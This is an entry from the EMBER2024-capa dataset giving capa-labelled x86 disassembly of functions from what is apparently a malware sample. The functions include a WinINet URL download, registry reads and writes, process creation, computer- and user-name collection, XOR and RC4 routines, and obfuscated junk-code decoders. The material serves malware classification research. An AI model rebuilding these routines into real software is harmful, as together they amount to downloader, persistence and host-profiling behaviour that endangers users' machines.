joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4044f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
je 0x4045be
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
test esi, esi
jl 0x4045ad
jg 0x404528
test edx, edx
je 0x4045ad
call fcn.004030d0
mov esi, eax
mov eax, edx
mov dword [ebp - 8], eax
test eax, eax
jl 0x404576
jg 0x40453e
test esi, esi
je 0x404576
cmp ebx, eax
jg 0x40454d
jl 0x404548
cmp edi, esi
jae 0x40454d
mov esi, edi
mov dword [ebp - 8], ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.00420bb0
mov ecx, dword [ebp - 4]
add esp, 0xc
sub edi, esi
sbb ebx, dword [ebp - 8]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x40459a
mov ecx, dword [ebp - 4]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
push eax
call edx
cmp eax, 0xffffffff
je 0x4045a7
mov ecx, dword [ebp - 4]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [ebp + 8], esi
test ebx, ebx
jg 0x404528
jl 0x4045a7
test edi, edi
jne 0x404528
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
pop edi
sbb esi, ebx
mov eax, edx
mov edx, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0xc], esi
mov eax, dword [eax]
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], eax
test eax, eax
je 0x4045dd
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x4045df
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [ebp + 0x10], eax
test edi, edi
jl 0x404658
jg 0x4045f1
test esi, esi
je 0x404658
test eax, eax
jl 0x40463c
jg 0x4045fb
test ebx, ebx
je 0x40463c
cmp edi, eax
jg 0x40460a
jl 0x404605
cmp esi, ebx
jae 0x40460a
mov ebx, esi
mov dword [ebp + 0x10], edi
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call fcn.00420bb0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [ebp + 0x10]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x404658
jg 0x40463f
test esi, esi
je 0x404658
jmp 0x40463f
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x404658
push eax
push esi
push 1
push edx
call fcn.00425226
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4056b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x1d
push str.Mozilla_5.0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
call fcn.004032f0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x18]
mov ebx, eax
cmp edx, 8
jb 0x405733
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405729
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40584a
push edx
push ecx
call fcn.0041fbcc
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
test ebx, ebx
je 0x40584f
push eax
push 0x84000100
push eax
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405778
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Couldnt_open_URL_
jmp 0x405854
lea eax, [ebp - 1]
mov dword [ebp - 0x14], 0
push eax
push 0x400
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.00405410
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
mov dword [edi], 0
push esi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405805
mov eax, dword [ebp - 8]
test eax, eax
je 0x405805
push dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
add eax, ecx
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
call fcn.00405170
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4057d3
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x405841
mov edx, dword [ebp - 0xc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x405837
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40587a
push edx
push ecx
call fcn.0041fbcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00423faf
push str.Couldnt_open_Internet_
lea ecx, [ebp - 0x44]
call fcn.00404740
mov ecx, eax
call fcn.004062d0
push eax
lea ecx, [ebp - 0x20]
call fcn.00405610
push 0x44bb7c
lea eax, [ebp - 0x20]
push eax
call fcn.00420a90
call fcn.00423faf
int3
Function at 0x409390
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
sub esp, 0x100
cmp dword [ecx + 0x14], 0x10
push esi
mov esi, dword [ebp + 8]
jb 0x4093a8
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push 0x20019
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4093fb
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], 0xff
cmp dword [eax + 0x14], 0x10
jb 0x4093d5
mov eax, dword [eax]
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push 0
push 0
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
test eax, eax
je 0x409416
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0
mov eax, esi
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x100]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409440
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x409460
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
cmp dword [ecx + 0x14], 0x10
jb 0x40946e
mov ecx, dword [ecx]
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
push edx
push 2
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4094bc
mov eax, dword [ebp + 0x14]
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x409494
mov eax, dword [eax]
mov ecx, dword [ebp + 0x10]
cmp dword [ecx + 0x14], 0x10
jb 0x40949f
mov ecx, dword [ecx]
push edx
push eax
push 1
push 0
push ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
test eax, eax
je 0x4094c0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop ebp
ret
Function at 0x40e470
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
mov ebx, dword [ecx + 8]
mov edi, dword [ecx + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [ecx + 0x10]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [ecx + 0x20]
movups xmmword [ebp - 0x30], xmm0
movups xmm0, xmmword [ecx + 0x30]
movups xmmword [ebp - 0x20], xmm0
mov esi, eax
mov dword [ebp + 0xc], eax
mov ecx, ebx
not esi
and ecx, eax
and esi, edi
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 8]
mov ecx, dword [ecx + 0x43dba0]
add ecx, dword [ebp + ebx - 0x50]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 7
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, ebx
mov ebx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 8], ecx
cmp ecx, 0x40
jb 0x40e4b6
mov dword [ebp - 0xc], 0x43dbe0
mov dword [ebp - 8], 0x51
mov esi, edi
mov dword [ebp + 0xc], eax
not esi
mov ecx, edi
and ecx, eax
and esi, ebx
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 0xc]
and ecx, 0xf
add dword [ebp - 0xc], 4
mov ecx, dword [ebp + ecx*4 - 0x50]
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 0xc
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 8]
add ecx, 5
mov dword [ebp - 8], ecx
cmp ecx, 0xa1
jb 0x40e504
mov ecx, 0x65
mov dword [ebp - 0xc], 0x43dc20
mov dword [ebp - 8], ecx
nop word [eax + eax]
and ecx, 0xf
mov dword [ebp + 0xc], eax
mov edx, edi
mov esi, edi
xor edx, ebx
mov edi, ebx
mov ebx, dword [ebp - 0xc]
xor edx, eax
mov ecx, dword [ebp + ecx*4 - 0x50]
add dword [ebp - 0xc], 4
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, edx
add ecx, dword [ebp - 4]
ror ecx, 0xf
add eax, ecx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 8]
add ecx, 3
mov dword [ebp - 8], ecx
cmp ecx, 0x95
jb 0x40e560
mov ecx, 0x150
mov dword [ebp + 0xc], 0xc0
mov dword [ebp - 0xc], ecx
nop dword [eax]
add dword [ebp - 0xc], 7
and ecx, 0xf
mov edx, edi
mov dword [ebp - 8], edi
mov edi, dword [ebp + 0xc]
not edx
or edx, eax
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + ecx*4 - 0x50]
xor edx, ebx
mov ebx, eax
add ecx, dword [edi + 0x43dba0]
add ecx, edx
mov edx, dword [ebp - 8]
add ecx, esi
mov esi, edx
ror ecx, 0xa
add eax, ecx
mov ecx, edi
mov edi, dword [ebp - 4]
add ecx, 4
mov dword [ebp + 0xc], ecx
cmp ecx, 0x100
mov ecx, dword [ebp - 0xc]
jb 0x40e5b0
mov ecx, dword [ebp - 0x10]
add ecx, edx
mov edx, dword [ebp + 8]
add dword [edx + 8], ebx
add dword [edx + 4], eax
add dword [edx + 0xc], edi
pop edi
pop esi
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e8a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 0x10
mov esi, dword [edi + 0x10]
jb 0x40e8ba
add esi, dword [edi]
mov edi, dword [edi]
jmp 0x40e8bc
add esi, edi
mov eax, esi
mov dword [ebp - 0x28], 0
sub eax, edi
mov dword [ebp - 0x18], 0
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
call fcn.00414970
mov byte [ebp + 8], 0
lea ecx, [ebp - 0x28]
push dword [ebp + 8]
push esi
push edi
call fcn.0040a660
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x44
push ecx
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40e965
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor esi, esi
jmp 0x40e96a
mov esi, 1
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40e9a0
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e996
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40e9a8
push edx
push ecx
call fcn.0041fbcc
add esp, 8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00423faf
int3
Function at 0x412ec0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x412ef1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x412ee0
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x413c30
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x413c8c
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413c70
sub ecx, edx
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43ddfb], 0
mov eax, dword [0x43ddf8]
mov dword [ebp - 4], eax
je 0x413d61
xor ecx, ecx
cmp dword [0x44f7b8], 2
jl 0x413d40
movaps xmm3, xmmword [0x43d580]
mov ecx, 4
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x43d990]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x43d990]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
mov ecx, 0x1f
psrad xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.4444]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x413d61
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 4
movsx eax, dl
mov dl, cl
imul eax, eax, 0x34
sub dl, al
add dl, 0x35
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x413d40
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413d80
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x413da0
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x41
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x413dfc
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413de0
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43ddff], 0
mov eax, dword [0x43ddfc]
mov dword [ebp - 4], eax
je 0x413ed1
xor ecx, ecx
cmp dword [0x44f7b8], 2
jl 0x413eb0
movaps xmm3, xmmword [0x43d580]
mov ecx, 4
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x43d990]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x43d990]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
mov ecx, 0x1f
psrad xmm2, xmm0
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.4444]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.5555555555555555]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x413ed1
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 4
movsx eax, dl
mov dl, cl
imul eax, eax, 0x34
sub dl, al
add dl, 0x35
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x413eb0
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413ef0
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4147c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push pe_nt_image_headers32
call fcn.0041fb9c
push pe_nt_image_headers32
mov esi, eax
push 0
push esi
mov dword [ebp - 0x10], esi
call fcn.00421510
push pe_nt_image_headers32
call fcn.0041fb9c
push pe_nt_image_headers32
push 0
push eax
mov dword [ebp - 4], eax
call fcn.00421510
mov ebx, dword [ebp + 8]
mov eax, esi
mov edi, dword [ebp + 0xc]
add esp, 0x20
xor ecx, ecx
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov ebx, dword [ebp - 4]
sub eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 8], edi
jb 0x41483e
mov eax, dword [edi]
mov dword [ebp - 8], eax
xor edx, edx
lea esi, [ebx + ecx]
mov eax, ecx
mov ebx, dword [ebp - 8]
div dword [edi + 0x10]
mov al, byte [edx + ebx]
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov byte [edx + esi], al
mov byte [esi], cl
inc ecx
cmp ecx, 0x100
jl 0x414830
mov esi, ebx
mov dword [ebp - 8], pe_nt_image_headers32
mov ebx, dword [ebp + 8]
xor edi, edi
mov eax, dword [ebp - 0xc]
mov dl, byte [esi]
movzx ecx, dl
movzx eax, byte [esi + eax]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x414890
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 4]
mov al, byte [ecx + edi]
mov byte [esi], al
inc esi
sub dword [ebp - 8], 1
mov byte [ecx + edi], dl
jne 0x414870
mov edi, dword [ebp + 0x10]
mov ecx, ebx
push 0
push dword [edi + 0x10]
call fcn.00414ae0
xor eax, eax
xor esi, esi
xor ecx, ecx
cmp dword [edi + 0x10], eax
mov edi, dword [ebp - 4]
jbe 0x414938
nop
inc ecx
and ecx, 0x800000ff
jns 0x4148d1
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 4], ecx
mov cl, byte [edi + ecx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x4148ea
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov al, byte [edi + eax]
mov byte [edi + ebx], al
mov eax, dword [ebp - 0xc]
mov byte [edi + eax], cl
mov eax, ebx
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
movzx eax, byte [edi + eax]
add eax, edx
cmp dword [ecx + 0x14], 0x10
movzx eax, al
mov dl, byte [eax + edi]
mov eax, ecx
jb 0x41491a
mov eax, dword [ecx]
mov al, byte [eax + esi]
xor al, dl
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x414929
mov edx, dword [ebx]
mov byte [edx + esi], al
inc esi
cmp esi, dword [ecx + 0x10]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
jb 0x4148c0
test edi, edi
je 0x41494a
push pe_nt_image_headers32
push edi
call fcn.0041fbcc
add esp, 8
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x41495f
push pe_nt_image_headers32
push eax
call fcn.0041fbcc
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42db87
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042d9fd
Function at 0x100442c7
Capabilities:
Encode data using xor

Disassembly:
call 0x10044240
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x10044270
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1004428c
xor edx, 0
jmp 0x10044297
xor edx, edx
jmp 0x100442ae
jmp 0x100442ba
xor eax, eax
push 0x8427d7c0
call 0x100442c7
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10044303
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100442dc
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1004431a
add eax, 0
jno 0x1004431f
add esi, 0
ret 0x10

Function at 0x10045088
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100450aa
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1004524c
cmp edi, dword [ebp + 0x10]
jb 0x1004524c
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10044b74
inc edi
jmp 0x10045133
jmp 0x10045140
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10044b74
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10044b74
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x10045194
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x10045178
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100451c2
add dword [eax], 0x39
jle 0x1004519e
sub al, 0xf5
mov ch, al
call fcn.100451d7
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10